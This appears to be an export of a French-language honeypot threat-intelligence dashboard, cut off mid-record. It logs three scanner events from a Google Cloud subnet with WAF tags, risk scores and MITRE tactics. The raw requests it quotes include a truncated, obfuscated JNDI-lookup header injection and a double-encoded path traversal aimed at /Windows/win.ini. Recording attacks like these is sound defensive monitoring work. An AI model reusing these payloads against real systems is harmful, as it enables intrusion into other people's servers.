Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${tbq:-j}${r:5haz:-n}${
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.894671151628904,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 47,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "8eb291f9977e8ed0e850b9be072f840ae965a51f",
"event_fingerprint": "0c0dd7ea17d508d534a97210ab73e65299d4331d",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 47,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "f021cf721870479ef8f3e463aab904a5",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 47
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${tbq:-j}${r:5haz:-n}${",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${tbq:-j}${r:5haz:-n}${",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b0b43e44ae89e31fca804351ec684c11c8a85aa7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 47\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 47,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 47,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:09:04 UTC
TCP
10250 · HTTP
SSRF interne
ssrf internal · via HTTP:10250 · (tentative d'exploit)
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
10250
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 54
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:10250
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Ma
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:10250 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "d4a668a3c625ead5f47b0c2bfb5c0ffb5d87517a",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 217,
"payload_entropy": 5.3738679207930184,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 10250,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "c1bc19773c3417010e700d52a6389e5c60b60163",
"event_fingerprint": "413d5fd838f7d38dc02c42353bc3ef42092ff543",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "4240163d3df361c2a243cf50096904a6",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 10250,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Ma",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Ma",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Ma",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "96ab5776c76c257a5ae784a7f3a6c62ed752f56a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 10250,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Ma",
"attack_vector": "ssrf internal \u00b7 via HTTP:10250 \u00b7 (tentative d'exploit)",
"target_port_label": "10250 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 10250,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Kubernetes kubelet",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 10250,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:10250 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:10250\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Ma",
"target_port_label": "10250 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "kubelet",
"service_banner": "Kubernetes kubelet",
"service_os": "linux",
"dst_port": "10250"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:00 UTC
TCP
81 · HTTP
Traversal LFI
lfi path traversal · via HTTP:81 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
81
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
pat-0715
CRS-930100-sub
Upstream
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/wi
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1 Host: 62.3.50.33:81 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "f257870e26046e30cbd03e9d5726ca53aa58b86f",
"http_target_hash": "b32cff996f138fc51ce84f8a9a846c903d796431",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 311,
"payload_entropy": 5.061036640436438,
"port_category": "well_known",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 81,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "2830b59d8000e171e7f631cab5014a5cf5447268",
"event_fingerprint": "550c2ea1bfcbb6d905258df8ea23ea58fd4667e7",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 329,
"precision_signals": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0715"
],
"matched_pattern_names": [
"CRS 930150 boot ini"
],
"pattern_ids": [
"pat-0715"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "17be307a0bdce3d4ff76fcb734f9611d",
"path_pattern_hash": "584e17b7bcc67c2f535291a0253964b1"
},
"target_context": {
"dst_port": 81,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"evidence": {
"method": "GET",
